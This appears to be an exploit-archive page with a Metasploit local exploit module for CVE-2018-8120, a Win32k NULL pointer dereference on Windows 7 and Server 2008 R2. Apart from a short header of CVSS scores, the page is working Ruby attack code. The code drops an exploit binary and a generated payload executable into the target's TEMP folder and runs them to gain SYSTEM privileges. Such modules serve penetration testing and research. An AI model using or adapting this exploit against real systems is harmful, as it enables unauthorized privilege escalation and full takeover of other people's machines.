Microsoft Windows SetImeInfoEx Win32k NULL Pointer Dereference

2018.10.20
Credit: unamer
Risk: High
Local: Yes
Remote: No
CWE: CWE-476


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Windows SetImeInfoEx Win32k NULL Pointer Dereference', 'Description' => %q{ This module exploits elevation of privilege vulnerability that exists in Windows 7 and 2008 R2 when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. This module is tested against windows 7 x86, windows 7 x64 and windows server 2008 R2 standard x64. }, 'License' => MSF_LICENSE, 'Author' => [ 'unamer', # Exploit PoC 'bigric3', # Analysis and exploit 'Anton Cherepanov', # Vulnerability discovery 'Dhiraj Mishra <dhiraj@notsosecure.com>' # Metasploit ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Automatic', {} ], [ 'Windows 7 x64', { 'Arch' => ARCH_X64 } ], [ 'Windows 7 x86', { 'Arch' => ARCH_X86 } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['BID', '104034'], ['CVE', '2018-8120'], ['URL', 'https://github.com/unamer/CVE-2018-8120'], ['URL', 'https://github.com/bigric3/cve-2018-8120'], ['URL', 'http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120'] ], 'DisclosureDate' => 'May 9 2018', 'DefaultTarget' => 0 )) end def assign_target if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['OS'] =~ /XP|NT/i fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end return target unless target.name == 'Automatic' case sysinfo['Architecture'] when 'x64' vprint_status('Targeting x64 system') return targets[1] when 'x86' fail_with(Failure::BadConfig, "Invalid payload architecture") if payload_instance.arch.first == ARCH_X64 vprint_status('Targeting x86 system') return targets[2] end end def write_file_to_target(fname, data) tempdir = session.sys.config.getenv('TEMP') file_loc = "#{tempdir}\\#{fname}" vprint_warning("Attempting to write #{fname} to #{tempdir}") write_file(file_loc, data) vprint_good("#{fname} written") file_loc rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful") end def check_arch sys_arch = assign_target if sys_arch.name =~ /x86/ return 'CVE-2018-8120x86.exe' else sys_arch.name =~ /x64/ return 'CVE-2018-8120x64.exe' end end def exploit cve_fname = check_arch rexe = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8120', cve_fname) vprint_status("Reading payload from file #{rexe}") raw = File.read(rexe) rexename = "#{Rex::Text.rand_text_alphanumeric(10)}.exe" vprint_status("EXE's name is: #{rexename}") exe = generate_payload_exe tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe" exe_payload = write_file_to_target(tempexename, exe) vprint_status("Payload uploaded to temp folder") cve_exe = write_file_to_target(rexename, raw) command = "\"#{cve_exe}\" \"#{exe_payload}\"" vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}") register_file_for_cleanup(exe_payload) vprint_status("Executing command : #{command}") cmd_exec_get_pid(command) print_good('Exploit finished, wait for privileged payload execution to complete.') end end


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